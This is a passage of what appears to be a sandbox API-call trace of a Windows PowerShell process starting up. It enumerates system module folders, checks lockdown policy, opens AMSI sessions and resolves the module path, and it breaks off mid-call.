FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.538] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.538] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.538] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\*", lpFindFileData=0x99ae2a8 | out: lpFindFileData=0x99ae2a8) returned 0x8e85838 [0122.538] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.538] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.538] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 0 [0122.538] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e85838 [0122.539] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.539] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.539] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.539] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.539] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.539] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e852f8 [0122.539] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.539] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.539] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.539] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.540] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.540] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x99ae2a8 | out: lpFindFileData=0x99ae2a8) returned 0x8e85838 [0122.540] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.540] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.540] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.540] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.540] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 0 [0122.540] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e854b8 [0122.541] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.541] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.541] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.541] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.541] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.541] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e85838 [0122.541] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.541] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.542] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.542] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.542] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.542] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\*", lpFindFileData=0x99ae2a8 | out: lpFindFileData=0x99ae2a8) returned 0x8e858b8 [0122.542] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.542] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.542] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.542] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.542] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 0 [0122.543] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e85838 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.543] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.544] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e852f8 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.545] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\*", lpFindFileData=0x99ae2a8 | out: lpFindFileData=0x99ae2a8) returned 0x8e852f8 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.545] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.546] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.546] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.546] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.546] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.546] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.546] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 0 [0122.546] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e853b8 [0122.546] FindNextFileW (in: hFindFile=0x8e853b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x8e853b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x8e853b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.547] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e858b8 [0122.547] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.547] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\*", lpFindFileData=0x99ae2a8 | out: lpFindFileData=0x99ae2a8) returned 0x8e852f8 [0122.547] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 0 [0122.548] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e858b8 [0122.548] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.548] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.548] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.548] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.548] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.548] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.548] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.548] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.548] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.548] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e85838 [0122.549] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.549] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents\\*", lpFindFileData=0x99ae2a8 | out: lpFindFileData=0x99ae2a8) returned 0x8e852f8 [0122.549] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.549] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.550] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.550] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae2b8 | out: lpFindFileData=0x99ae2b8) returned 1 [0122.565] CoTaskMemAlloc (cb=0x20e) returned 0x8e53180 [0122.565] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e53180, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x0 [0122.565] CoTaskMemFree (pv=0x8e53180) [0122.565] CoCreateGuid (in: pguid=0x99ae738 | out: pguid=0x99ae738*(Data1=0x9d5d3a8c, Data2=0x2eb6, Data3=0x4789, Data4=([0]=0xb3, [1]=0x98, [2]=0x87, [3]=0xf7, [4]=0x4d, [5]=0xd2, [6]=0xb0, [7]=0x3d))) returned 0x0 [0122.565] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x858 [0122.565] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x860 [0122.565] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x81c [0122.565] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x850 [0122.565] AmsiCloseSession () returned 0x475aaa0 [0122.565] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x868 [0122.565] SetThreadUILanguage (LangId=0x0) returned 0x409 [0122.566] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae3e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae3e0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.566] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae340*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae340*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.566] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae3d0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae3d0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.567] CoTaskMemAlloc (cb=0x20c) returned 0x8e535d0 [0122.567] GetSystemDirectoryW (in: lpBuffer=0x8e535d0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0122.567] CoTaskMemFree (pv=0x8e535d0) [0122.567] WldpGetLockdownPolicy () returned 0x0 [0122.567] GetSystemInfo (in: lpSystemInfo=0x99ade9c | out: lpSystemInfo=0x99ade9c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0122.568] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ade28 | out: phkResult=0x99ade28*=0x870) returned 0x0 [0122.568] RegQueryValueExW (in: hKey=0x870, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ade44, lpData=0x0, lpcbData=0x99ade40*=0x0 | out: lpType=0x99ade44*=0x0, lpData=0x0, lpcbData=0x99ade40*=0x0) returned 0x2 [0122.568] RegCloseKey (hKey=0x870) returned 0x0 [0122.612] CoTaskMemAlloc (cb=0x20c) returned 0x8e54710 [0122.612] GetSystemDirectoryW (in: lpBuffer=0x8e54710, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0122.612] CoTaskMemFree (pv=0x8e54710) [0122.612] WldpGetLockdownPolicy () returned 0x0 [0122.612] GetSystemInfo (in: lpSystemInfo=0x99addf8 | out: lpSystemInfo=0x99addf8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0122.612] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99add84 | out: phkResult=0x99add84*=0x86c) returned 0x0 [0122.612] RegQueryValueExW (in: hKey=0x86c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99adda0, lpData=0x0, lpcbData=0x99add9c*=0x0 | out: lpType=0x99adda0*=0x0, lpData=0x0, lpcbData=0x99add9c*=0x0) returned 0x2 [0122.612] RegCloseKey (hKey=0x86c) returned 0x0 [0122.613] CloseHandle (hObject=0x870) returned 1 [0122.613] CoCreateGuid (in: pguid=0x99ade64 | out: pguid=0x99ade64*(Data1=0xbdcae4fa, Data2=0x2624, Data3=0x40a2, Data4=([0]=0xb2, [1]=0x5e, [2]=0xa3, [3]=0xd6, [4]=0xc2, [5]=0xc8, [6]=0xa8, [7]=0xd6))) returned 0x0 [0122.614] AmsiOpenSession () returned 0x0 [0122.614] AmsiScanString () returned 0x80070015 [0122.614] WTGetSignatureInfo () returned 0x0 [0122.725] CertDuplicateCertificateContext (pCertContext=0x8c43fe0) returned 0x8c43fe0 [0122.725] CoTaskMemAlloc (cb=0x10) returned 0x8eacff0 [0122.725] CoTaskMemAlloc (cb=0x30) returned 0x8e5f378 [0122.725] WinVerifyTrust () returned 0x0 [0122.725] CoTaskMemFree (pv=0x8e5f378) [0122.726] CoTaskMemFree (pv=0x8eacff0) [0122.726] CertFreeCertificateContext (pCertContext=0x8c43fe0) returned 1 [0122.726] CloseHandle (hObject=0x870) returned 1 [0122.727] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0122.727] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0122.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad588) returned 1 [0122.728] GetFileAttributesExW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x99ad604 | out: lpFileInformation=0x99ad604*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad584) returned 1 [0122.728] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0122.728] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0122.728] CoTaskMemAlloc (cb=0x20e) returned 0x8e54b60 [0122.728] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x8e54b60, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x9e [0122.728] CoTaskMemFree (pv=0x8e54b60) [0122.728] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x99acfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x39 [0122.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad42c) returned 1 [0122.728] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99ad4a8 | out: lpFileInformation=0x99ad4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe01511ea, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe01511ea, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe01511ea, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad428) returned 1 [0122.728] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x105, 